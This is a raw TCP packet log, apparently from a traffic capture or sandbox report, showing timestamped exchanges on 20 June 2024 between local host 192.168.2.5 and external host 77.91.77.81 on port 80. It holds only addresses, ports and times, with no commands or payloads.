Jun 20, 2024 15:38:10.992556095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992573977 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992588043 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992600918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992618084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992643118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992691040 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992880106 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992924929 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992973089 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992988110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993012905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993016958 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993027925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993035078 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993047953 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993047953 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993067026 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993068933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993083954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993100882 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993114948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993134022 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993261099 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993273973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993299007 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993313074 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993314981 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993336916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993343115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993351936 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993370056 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993380070 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993385077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993402004 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993407965 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993418932 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993438959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993467093 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993482113 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993498087 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993511915 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993535042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993545055 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993560076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993577003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993586063 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993616104 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993634939 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993659973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993673086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993695974 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993697882 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993709087 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993714094 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993730068 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993738890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993746996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993748903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993762970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993762970 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993778944 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993787050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993798971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993798971 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993815899 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993815899 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993834019 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993840933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993850946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993853092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993866920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993875027 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993886948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993906975 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.993941069 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993956089 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993971109 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993985891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.993987083 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994007111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994014025 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994023085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994038105 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994038105 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994064093 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994080067 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994179010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994211912 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994220018 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994227886 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994251966 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994256020 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994262934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994272947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994287968 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994299889 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994313002 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994313955 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994327068 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994330883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994354963 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994362116 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994373083 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994375944 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994388103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994388103 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994411945 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994424105 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994746923 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994765043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994781017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994795084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994820118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994899035 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994915009 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994930983 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994944096 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994947910 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994963884 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.994967937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.994990110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995007038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995151997 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995198965 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995214939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995230913 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995260954 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995271921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995280027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995296001 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995311975 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995321035 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995330095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995332003 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995347023 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995347977 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995361090 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995364904 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995382071 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995398045 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995735884 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995779037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995779991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995795012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995822906 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995840073 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995904922 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995919943 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995934963 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.995948076 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995965958 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.995975971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.037801981 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037831068 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037847042 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037888050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.037921906 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.037944078 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037960052 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037976980 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037992954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.037997007 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.038012981 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.038045883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.038045883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049777985 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049793959 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049809933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049844027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049859047 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049875021 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049890041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049909115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049911022 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049911976 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049911976 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049911976 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049923897 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049940109 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049966097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049968004 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049968004 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049968004 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049968004 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049983978 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.049990892 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.049999952 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050004959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050018072 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050024986 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050034046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050036907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050052881 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050074100 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050146103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050162077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050178051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050187111 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050193071 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050198078 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050209999 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050211906 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.050232887 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.050247908 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079010010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079026937 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079041004 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079066992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079082966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079085112 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079098940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079113007 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079132080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079154015 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079155922 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079170942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079180956 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079204082 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079210043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079250097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079250097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079309940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079355955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079400063 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079416037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079431057 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079457045 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079474926 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079576015 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079591990 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079608917 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079621077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.079624891 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079643965 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.079655886 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080147028 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080159903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080188990 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080207109 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080243111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080265999 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080291033 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080295086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080307007 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080310106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080324888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080327034 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080341101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080344915 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080358982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080368042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080391884 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080391884 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080404043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080418110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080431938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080446959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080447912 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080462933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080466032 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080475092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080498934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080498934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080540895 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080555916 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080570936 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080584049 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080585957 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080609083 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080612898 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080629110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080631971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080645084 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080653906 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080662966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080672979 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080678940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080689907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080697060 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080708027 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080720901 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080732107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080737114 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080770016 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080779076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080801010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080817938 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080826998 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080841064 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080842018 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080858946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.080866098 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080878019 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.080898046 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081101894 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081116915 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081140041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081152916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081155062 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081171989 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081182957 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081190109 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081204891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081207991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081219912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081221104 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081233978 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081239939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081269979 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081269979 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081275940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081285000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081317902 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081433058 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081448078 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081464052 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081479073 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081485987 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081505060 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081525087 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081645966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081661940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081691980 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081702948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081743002 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081758022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081773996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081788063 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081789017 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081799984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081804991 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081813097 CEST	49708	80	192.168.2.5	77.91.77.81
